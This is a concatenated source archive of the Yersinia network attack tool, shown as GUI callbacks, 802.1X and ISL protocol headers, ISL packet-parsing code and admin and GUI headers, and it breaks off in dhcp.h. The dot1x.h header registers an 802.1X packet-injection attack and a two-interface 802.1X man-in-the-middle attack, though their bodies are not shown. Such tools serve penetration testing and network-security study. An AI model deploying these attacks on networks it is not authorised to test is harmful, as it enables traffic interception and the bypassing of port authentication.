%d\n", mode, row); if (protocols[mode].load_values) (*protocols[mode].load_values)((struct pcap_data *)&protocols[mode].stats[row], node->protocol[mode].tmp_data); else { write_log(0, "Warning: no load_values in protocol %d\n", mode); } } gboolean gtk_c_view_onButtonPressed (GtkWidget *treeview, GdkEventButton *event, gpointer userdata) { GtkWidget *notebook, *wmain; GtkTreeSelection *selection; GtkTreePath *path; struct gtk_s_helper *helper; gint *index; u_int8_t mode; index = NULL; notebook = lookup_widget(GTK_WIDGET(treeview), "main_vhv2_notebook"); wmain = lookup_widget(GTK_WIDGET(treeview), "Main"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); helper = (struct gtk_s_helper *) userdata; /* single click with the right mouse button? */ if (event->type == GDK_BUTTON_PRESS && event->button == 3) { selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); if (gtk_tree_selection_count_selected_rows(selection) <= 1) { /* Get tree path for row that was clicked */ if (gtk_tree_view_get_path_at_pos(GTK_TREE_VIEW(treeview), (gint) event->x, (gint) event->y, &path, NULL, NULL, NULL)) { index = gtk_tree_path_get_indices(path); gtk_tree_selection_unselect_all(selection); gtk_tree_selection_select_path(selection, path); gtk_tree_path_free(path); } } helper->mode = mode; helper->row = *index; gtk_i_view_menu(treeview, wmain, event, helper); return TRUE; /* we handled this */ } return FALSE; /* we did not handle this */ } void gtk_c_on_extra_button_clicked(GtkButton *button, gpointer userdata) { struct gtk_s_helper *helper; GtkWidget *extrawindow; helper = (struct gtk_s_helper *)userdata; //write_log(0, "helper es %d\n", helper->mode); extrawindow = gtk_i_create_extradialog(helper); gtk_widget_show(extrawindow); } void gtk_c_extra_button_add_clicked(GtkButton *button, gpointer userdata) { struct gtk_s_helper *helper; GtkWidget *window; u_int8_t proto; helper = (struct gtk_s_helper *)userdata; //write_log(0, "helper es %X\n", helper); proto = gtk_notebook_get_current_page(GTK_NOTEBOOK(helper->notebook)); window = gtk_i_create_add_extradialog(helper, proto); gtk_widget_show(window); } void gtk_c_add_extra_button_add_ok_clicked(GtkButton *button, gpointer userdata) { struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)userdata; } /* vim:set tabstop=3:set expandtab:set shiftwidth=3:set textwidth=78: */ yersinia-0.7.3/src/dot1x.h0000644000175000017500000001641712234207266013162 0ustar nknk/* dot1x.h * Definitions for IEEE 802.1X * * $Id: dot1x.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DOT_1X_H #define __DOT_1X_H__ #include #include "terminal-defs.h" #include "interfaces.h" struct dot1x_header { u_int8_t version; u_int8_t type; u_int16_t len; }; struct eap_header { u_int8_t code; u_int8_t id; u_int16_t len; }; #define DOT1X_DFL_MAC_DST "01:80:C2:00:00:03" #define DOT1X_DFL_VER 0x01 #define DOT1X_DFL_TYPE 0x00 #define DOT1X_DFL_EAP_TYPE 0x01 #define DOT1X_DFL_EAP_CODE 0x02 #define DOT1X_DFL_EAP_ID 0x00 #define DOT1X_DFL_EAP_INFO "Andrea Amati" #define MAX_EAP_INFO 64 struct dot1x_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; u_int8_t type; u_int16_t len; u_int8_t eap_code; u_int8_t eap_id; u_int16_t eap_len; u_int8_t eap_type; u_int8_t eap_info[MAX_EAP_INFO+1]; u_int8_t eap_info_len; }; #define DOT1X_TYPE_EAP 0x00 static const struct tuple_type_desc dot1x_type[] = { { DOT1X_TYPE_EAP, "EAP" }, { 0, NULL } }; #define DOT1X_EAP_REQUEST 0x01 #define DOT1X_EAP_RESPONSE 0x02 #define DOT1X_EAP_SUCCESS 0x03 #define DOT1X_EAP_FAILURE 0x04 static const struct tuple_type_desc dot1x_eap_code[] = { { DOT1X_EAP_REQUEST, "REQUEST" }, { DOT1X_EAP_RESPONSE, "RESPONSE" }, { DOT1X_EAP_SUCCESS, "SUCCESS" }, { DOT1X_EAP_FAILURE, "FAILURE" }, { 0, NULL } }; #define DOT1X_EAP_IDENTITY 0x01 static const struct tuple_type_desc dot1x_eap_type[] = { { 0x01, "Identity" }, { 0x02, "Notification" }, { 0x0d, "TLS" }, { 0x04, "MD5" }, { 0x05, "OTP" }, { 0x06, "Token Card" }, { 0x11, "LEAP Cisco" }, { 0, NULL } }; static struct proto_features dot1x_features[] = { { F_ETHERTYPE, ETHERTYPE_EAP }, { -1, 0 } }; #define DOT1X_SMAC 0 #define DOT1X_DMAC 1 #define DOT1X_VER 2 #define DOT1X_TYPE 3 #define DOT1X_EAP_CODE 4 #define DOT1X_EAP_ID 5 #define DOT1X_EAP_TYPE 6 #define DOT1X_EAP_INFO 7 /* Struct needed for using protocol fields within the network client */ struct commands_param dot1x_comm_params[] = { { DOT1X_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1X_DMAC, "dest", "Destination MAC", 6,FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1X_VER, "version", "Ver", 1, FIELD_HEX, "Set 802.1X version", " <00-FF> 802.1X version", 2, 2, 0, NULL, NULL }, { DOT1X_TYPE, "type", "Type", 1, FIELD_HEX, "Set 802.1X type", " <00-FF> type", 2, 2, 1, NULL, dot1x_type }, { DOT1X_EAP_CODE, "eapcode", "EAPCode", 1, FIELD_HEX, "Set 802.1X EAP code", " <00-FF> EAP code", 2, 2, 1, NULL, dot1x_eap_code }, { DOT1X_EAP_ID, "eapid", "EAPId", 1, FIELD_HEX, "Set 802.1X EAP id", " <00-FF> EAP id", 2, 2, 0, NULL, NULL }, { DOT1X_EAP_TYPE, "eaptype", "EAPType", 1, FIELD_HEX, "Set 802.1X EAP type", " <00-FF> EAP type", 2, 2, 1, NULL, dot1x_eap_type }, { DOT1X_EAP_INFO, "eapinfo", "EAPInfo", MAX_EAP_INFO, FIELD_STR, "Set 802.1X EAP identity info", " WORD ASCII info", MAX_EAP_INFO, 3, 1, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; void dot1x_th_send(void *); void dot1x_th_send_exit(struct attacks *); void dot1x_th_mitm(void *); void dot1x_th_mitm_exit(struct attacks *); struct dot1x_mitm_ifaces { struct interface_data *auth; struct interface_data *supp; u_int8_t mac_auth[ETHER_ADDR_LEN]; u_int8_t mac_supp[ETHER_ADDR_LEN]; }; #define DOT1X_MITM_IFACE_SUPP 0 #define DOT1X_MITM_IFACE_AUTH 1 static struct attack_param dot1x_mitm_params[] = { { NULL, "Supplicant interface", 1, FIELD_IFACE, IFNAMSIZ, NULL }, { NULL, "Authenticator interface", 1, FIELD_IFACE, IFNAMSIZ, NULL }, }; #define DOT1X_ATTACK_SEND 0 #define DOT1X_ATTACK_MITM 1 static struct attack dot1x_attack[] = { { DOT1X_ATTACK_SEND, "sending 802.1X packet", NONDOS, SINGLE, dot1x_th_send, NULL, 0 }, { DOT1X_ATTACK_MITM, "Mitm 802.1X with 2 interfaces", NONDOS, CONTINOUS, dot1x_th_mitm, dot1x_mitm_params, SIZE_ARRAY(dot1x_mitm_params) }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dot1x_register(void); int8_t dot1x_send(struct attacks *); int8_t dot1x_send_raw(struct interface_data *, u_int8_t *, u_int16_t, u_int8_t *, u_int8_t *); int8_t dot1x_init_attribs(struct term_node *); int8_t dot1x_learn_packet(struct attacks *, char *, u_int8_t *,void *, struct pcap_pkthdr *); char **dot1x_get_printable_packet(struct pcap_data *); char **dot1x_get_printable_store(struct term_node *); int8_t dot1x_load_values(struct pcap_data *, void *); int8_t dot1x_update_field(int8_t, struct term_node *, void *); int8_t dot1x_init_comms_struct(struct term_node *); int8_t dot1x_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif yersinia-0.7.3/src/isl.h0000644000175000017500000001633012234207266012704 0ustar nknk/* isl.h * Definitions for ISL * * $Id: isl.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ISL_H #define __ISL_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define ISL_TYPE_ETHERNET 0x00 #define ISL_TYPE_TOKEN_RING 0x10 #define ISL_TYPE_FDDI 0x20 #define ISL_TYPE_ATM 0x30 #define ISL_DFL_MAC_DST "01:00:0C:00:00:00" #define ISL_DFL_TYPE ISL_TYPE_ETHERNET #define ISL_DFL_USER 0x00 #define ISL_DFL_SNAP "\xAA\xAA\x03" struct isl_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t type; u_int8_t user; u_int16_t len; u_int8_t snap[3]; u_int8_t hsa[3]; u_int16_t vlan; u_int8_t bpdu; u_int16_t index; u_int16_t res; u_int32_t src_ip; u_int32_t dst_ip; u_int8_t ip_proto; }; #define ISL_TYPE_ETHERNET 0x00 #define ISL_TYPE_TOKEN_RING 0x10 #define ISL_TYPE_FDDI 0x20 #define ISL_TYPE_ATM 0x30 static const struct tuple_type_desc isl_type[] = { { ISL_TYPE_ETHERNET, "ETHERNET" }, { ISL_TYPE_TOKEN_RING, "TOKEN RING" }, { ISL_TYPE_FDDI, "FDDI" }, { ISL_TYPE_ATM, "ATM" }, { 0, NULL } }; static struct proto_features isl_features[] = { { F_LLC_DSAP, 0xaa }, { F_LLC_SSAP, 0xaa }, { F_LLC_SNAP, 0x03 }, { F_DMAC_1, 0x01 }, { F_DMAC_2, 0x00 }, { F_DMAC_3, 0x0C }, { F_DMAC_4, 0x00 }, { F_DMAC_5, 0x00 }, { -1, 0 } }; static const struct tuple_type_desc isl_proto[] = { { ETHERTYPE_IP, "IP" }, { ETHERTYPE_VLAN, ".1Q" }, { ETHERTYPE_ARP, "ARP" }, { ETHERTYPE_REVARP, "RARP" }, { 0x2000, "CDP" }, { 0x2003, "VTP" }, { 0x2004, "DTP" }, { 0x9000, "LOOP" }, { 0x010b, "PVST" }, { 0x4242, "STP" }, { 0, NULL } }; static const struct tuple_type_desc isl_ip_proto[] = { { 0x01, "icmp" }, { 0x06, "tcp" }, { 0x11, "udp" }, { 0x59, "ospf" }, { 0, NULL } }; #define ISL_SMAC 0 #define ISL_DMAC 1 #define ISL_TYPE 2 #define ISL_USER 3 #define ISL_LEN 4 #define ISL_SNAP 5 #define ISL_HSA 6 #define ISL_VLAN 7 #define ISL_BPDU 8 #define ISL_INDEX 9 #define ISL_RES 10 #define ISL_SRC_IP 11 #define ISL_DST_IP 12 #define ISL_IP_PROTO 13 /* Struct needed for using protocol fields within the network client */ struct commands_param isl_comm_params[] = { { ISL_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { ISL_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { ISL_TYPE, "type", "Type", 1, FIELD_HEX, "Set ISL type", " <0-FF> Type", 1, 2, 0, NULL, isl_type }, { ISL_USER, "user", "User", 1, FIELD_HEX, "Set ISL user", " <0-FF> User", 1, 2, 0, NULL, NULL }, { ISL_LEN, "len", "Len", 2, FIELD_HEX, "Set ISL len", " <0-FFFF> Len", 4, 2, 0, NULL, NULL }, { ISL_SNAP, "snap", "SNAP", 3, FIELD_HEX, "Set ISL snap", " <0-FFFFFF> SNAP", 6, 2, 0, NULL, NULL }, { ISL_HSA, "hsa", "HSA", 3, FIELD_HEX, "Set ISL hsa", " <0-FFFFFF> HSA", 6, 2, 0, NULL, NULL }, { ISL_VLAN, "vlan", "VLAN", 2, FIELD_HEX, "Set ISL vlan", " <0-FFFF> VLAN", 4, 2, 1, NULL, NULL }, { ISL_BPDU, "bpdu", "BPDU", 1, FIELD_HEX, "Set ISL bpdu", " <0-FF> BPDU", 1, 2, 0, NULL, NULL }, { ISL_INDEX, "index", "Index", 2, FIELD_HEX, "Set ISL index", " <0-FFFF> Index", 4, 2, 0, NULL, NULL }, { ISL_RES, "res", "Res", 2, FIELD_HEX, "Set ISL res", " <0-FFFF> Res", 4, 3, 0, NULL, NULL }, { ISL_SRC_IP, "ipsource", "Src IP", 4, FIELD_IP, "Set ISL IP source data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { ISL_DST_IP, "ipdest", "Dst IP", 4, FIELD_IP, "Set ISL IP destination data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { ISL_IP_PROTO, "ipproto", "Proto", 1, FIELD_HEX, "Set ISL IP protocol", " <0-FF> Proto", 2, 3, 1, NULL, isl_ip_proto }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; static struct attack isl_attack[] = { { 0, NULL, 0, 0, NULL, NULL, 0 } }; void isl_register(void); int8_t isl_init_comms_struct(struct term_node *); char **isl_get_printable_packet(struct pcap_data *data); char **isl_get_printable_store(struct term_node *); int8_t isl_init_attribs(struct term_node *); int8_t isl_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern void parser_basedisplay(u_int8_t, u_int8_t, char *, size_t ); extern struct terminals *terms; extern int8_t bin_data[]; #endif yersinia-0.7.3/src/admin.h0000644000175000017500000000730312234207266013205 0ustar nknk/* admin.h * Definitions for network server thread * * $Id: admin.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ADMIN_H__ #define __ADMIN_H__ #include "terminal-defs.h" #include "interfaces.h" /* Own functions... */ int8_t admin_init(struct term_tty *); void admin_exit(void); void *admin_th_listen(void *); void admin_th_listen_clean(void *); void admin_th_listen_exit(struct sockaddr *, int32_t); void *admin_th_network_peer(void *); void admin_th_network_peer_clean(void *); void admin_th_network_peer_exit(struct term_node *, int32_t); int8_t admin_filter_ip(u_int32_t *, struct filter *); /* Extern variables...*/ extern struct terminals *terms; extern struct term_types term_type[]; extern struct term_states term_states[]; extern u_int32_t uptime; extern int8_t bin_data[]; /* Extern functions...*/ extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_kill_th(struct term_node *, pthread_t); extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); extern int8_t term_write(struct term_node *, char *, u_int16_t); extern void term_delete_all(void); extern void term_delete_node(struct term_node *, int8_t); extern void term_delete_all_vty(void); extern int8_t term_vty_banner(struct term_node *); extern int8_t term_vty_prompt(struct term_node *); extern int8_t term_vty_motd(struct term_node *); extern int8_t term_vty_negotiate(struct term_node *); extern int8_t term_vty_history_add(struct term_node *, char *, u_int16_t); extern int8_t term_vty_history_next(struct term_node *); extern int8_t term_vty_history_prev(struct term_node *); extern int8_t term_vty_mv_cursor_right(struct term_node *); extern int8_t term_vty_mv_cursor_left(struct term_node *); extern int8_t term_vty_mv_cursor_init(struct term_node *); extern int8_t term_vty_mv_cursor_end(struct term_node *); extern int8_t term_vty_supr(struct term_node *); extern int8_t term_vty_do_command(struct term_node *); extern int8_t term_vty_complete_command(struct term_node *); extern int8_t term_vty_backspace(struct term_node *); extern int8_t term_vty_help(struct term_node *); extern int8_t term_vty_auth(int8_t, char *, char *); extern int8_t term_vty_flush(struct term_node *); extern int8_t term_vty_write(struct term_node *, char *, u_int16_t); extern int8_t term_vty_clear_line(struct term_node *, u_int16_t); extern void term_vty_clear_command(struct term_node *); extern int8_t term_vty_exit(struct term_node *); extern int8_t term_vty_clear_screen(struct term_node *); extern int8_t term_vty_clear_remote(struct term_node *); extern int8_t thread_create(pthread_t *, void *, void *); extern void thread_error(char *, int8_t); extern int8_t thread_destroy_cancel(pthread_t); extern void thread_free_r(void *); extern int8_t init_attribs(struct term_node *); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/isl.c0000644000175000017500000002106712234207266012702 0ustar nknk/* isl.c * Implementation and attacks for Inter-Switch Link Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: isl.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "isl.h" void isl_register(void) { protocol_register(PROTO_ISL, "ISL", "Inter-Switch Link Protocol", "isl", sizeof(struct isl_data), isl_init_attribs, NULL, isl_get_printable_packet, isl_get_printable_store, NULL, isl_attack, NULL, isl_features, isl_comm_params, SIZE_ARRAY(isl_comm_params), NULL, 0, NULL, isl_init_comms_struct, PROTO_VISIBLE, isl_end); } int8_t isl_init_comms_struct(struct term_node *node) { struct isl_data *isl_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(isl_comm_params)); if (comm_param == NULL) { thread_error("isl_init_comms_struct calloc error",errno); return -1; } isl_data = node->protocol[PROTO_ISL].tmp_data; node->protocol[PROTO_ISL].commands_param = comm_param; comm_param[ISL_SMAC] = &isl_data->mac_source; comm_param[ISL_DMAC] = &isl_data->mac_dest; comm_param[ISL_TYPE] = &isl_data->type; comm_param[ISL_USER] = &isl_data->user; comm_param[ISL_LEN] = &isl_data->len; comm_param[ISL_SNAP] = &isl_data->snap; comm_param[ISL_HSA] = &isl_data->hsa; comm_param[ISL_VLAN] = &isl_data->vlan; comm_param[ISL_BPDU] = &isl_data->bpdu; comm_param[ISL_INDEX] = &isl_data->index; comm_param[ISL_RES] = &isl_data->res; comm_param[ISL_SRC_IP] = &isl_data->src_ip; comm_param[ISL_DST_IP] = &isl_data->dst_ip; comm_param[ISL_IP_PROTO] = &isl_data->ip_proto; comm_param[14] = NULL; comm_param[15] = NULL; return 0; } /* * Return formated strings of each ISL field */ char ** isl_get_printable_packet(struct pcap_data *data) { char **field_values; u_int16_t aux_short; if (data && (data->header->caplen < (14+8+8)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_ISL].nparams, protocols[PROTO_ISL].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } /* Source MAC */ snprintf(field_values[ISL_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", data->packet[6], data->packet[7], data->packet[8], data->packet[9], data->packet[10], data->packet[11]); /* Destination MAC */ snprintf(field_values[ISL_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", data->packet[0], data->packet[1], data->packet[2], data->packet[3], data->packet[4], 0x00); snprintf(field_values[ISL_TYPE], 2, "%01X", (*(u_int8_t *)(data->packet+5) & 0xF0)); snprintf(field_values[ISL_USER], 2, "%01X", (*(u_int8_t *)(data->packet+5) & 0x0F)); snprintf(field_values[ISL_LEN], 5, "%04X", (ntohs(*((u_int16_t *)data->packet+12)))); snprintf(field_values[ISL_SNAP], 7, "%02X%02X%02X", (*(u_int8_t *)(data->packet+14)), (*(u_int8_t *)(data->packet+15)), (*(u_int8_t *)(data->packet + 16))); snprintf(field_values[ISL_HSA], 7, "%02X%02X%02X", (*(u_int8_t *)(data->packet+17)), (*(u_int8_t *)(data->packet+18)), (*(u_int8_t *)(data->packet + 19))); aux_short = ntohs(*((u_int16_t *)(data->packet+20))); aux_short >>= 1; snprintf(field_values[ISL_VLAN], 5, "%04X", aux_short); snprintf(field_values[ISL_BPDU], 2, "%01d", (ntohs(*((u_int16_t *)(data->packet+20))) & 0x1)); snprintf(field_values[ISL_INDEX], 5, "%04X", (ntohs(*((u_int16_t *)(data->packet+22))))); snprintf(field_values[ISL_RES], 5, "%04X", (ntohs(*((u_int16_t *)(data->packet+24))))); return (char **)field_values; } char ** isl_get_printable_store(struct term_node *node) { struct isl_data *isl_tmp; char **field_values; #ifdef LBL_ALIGN u_int8_t *aux; #endif if ((field_values = (char **) protocol_create_printable(protocols[PROTO_ISL].nparams, protocols[PROTO_ISL].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) isl_tmp = protocols[PROTO_ISL].default_values; else isl_tmp = (struct isl_data *) node->protocol[PROTO_ISL].tmp_data; /* Source MAC */ snprintf(field_values[ISL_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", isl_tmp->mac_source[0], isl_tmp->mac_source[1], isl_tmp->mac_source[2], isl_tmp->mac_source[3], isl_tmp->mac_source[4], isl_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[ISL_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", isl_tmp->mac_dest[0], isl_tmp->mac_dest[1], isl_tmp->mac_dest[2], isl_tmp->mac_dest[3], isl_tmp->mac_dest[4], isl_tmp->mac_dest[5]); snprintf(field_values[ISL_TYPE], 2, "%01X", isl_tmp->type & 0x0F); snprintf(field_values[ISL_USER], 2, "%01X", isl_tmp->user & 0x0F); snprintf(field_values[ISL_LEN], 5, "%04X", isl_tmp->len); snprintf(field_values[ISL_SNAP], 7, "%02X%02X%02X", isl_tmp->snap[0], isl_tmp->snap[1], isl_tmp->snap[2]); snprintf(field_values[ISL_HSA], 7, "%02X%02X%02X", isl_tmp->hsa[0], isl_tmp->hsa[1], isl_tmp->hsa[2]); snprintf(field_values[ISL_VLAN], 5, "%04X", isl_tmp->vlan); snprintf(field_values[ISL_BPDU], 2, "%01d", isl_tmp->bpdu & 0x01); snprintf(field_values[ISL_INDEX], 5, "%04X", isl_tmp->index); snprintf(field_values[ISL_RES], 5, "%04X", isl_tmp->res); /* Source IP */ parser_get_formated_inet_address(isl_tmp->src_ip, field_values[ISL_SRC_IP], 16); /* Destination IP */ parser_get_formated_inet_address(isl_tmp->dst_ip, field_values[ISL_DST_IP], 16); /* IP protocol */ snprintf(field_values[ISL_IP_PROTO], 3, "%02d",isl_tmp->ip_proto); return (char **)field_values; } int8_t isl_init_attribs(struct term_node *node) { struct isl_data *isl_data; isl_data = node->protocol[PROTO_ISL].tmp_data; attack_gen_mac(isl_data->mac_source); isl_data->mac_source[0] &= 0x0E; parser_vrfy_mac(ISL_DFL_MAC_DST, isl_data->mac_dest); isl_data->type = ISL_DFL_TYPE; isl_data->user = 0x0; isl_data->len = 0x0; memcpy((void *)isl_data->snap, (void *)ISL_DFL_SNAP, 3); memcpy((void *)isl_data->hsa, "\x00\x00\x00", 3); isl_data->vlan = libnet_get_prand(LIBNET_PRu16); isl_data->bpdu = 0x0; isl_data->index = 0x0; isl_data->res = 0x0; isl_data->src_ip = ntohl(inet_addr("10.0.0.1")); isl_data->dst_ip = ntohl(inet_addr("255.255.255.255")); isl_data->ip_proto = 1; return 0; } int8_t isl_end(struct term_node *node) { return 0; } yersinia-0.7.3/src/gtk-gui.h0000644000175000017500000000500112234207266013455 0ustar nknk/* gtk-gui.h * Definitions for the GTK GUI * * $Id: gtk-gui.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_GUI_H__ #define __GTK_GUI_H__ #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define PARAM_SCREEN 10 #define LIST_FILECAPS 9 #define LIST_ATTACKS 8 #define IFACE_SCREEN 7 #define MAIN_SCREEN 6 #define SEC_SCREEN 5 #define ATTACK_SCREEN 4 #define INFO_SCREEN 3 #define HELP_SCREEN 2 #define SPLASH_SCREEN 1 #define INFO_HEIGHT 13 #define INFO_WIDTH 44 #define MAX_PAD_HEIGHT 40 #define MAX_PAD_WIDTH 70 u_int8_t pointer[MAX_PROTOCOLS]; void gtk_gui(void *); void gtk_gui_th_exit(struct term_node *); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/dhcp.h0000644000175000017500000006013012234207266013030 0ustar nknk/* dhcp.h * Definitions for Dynamic Host Configuration Protocol * * $Id: dhcp.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A 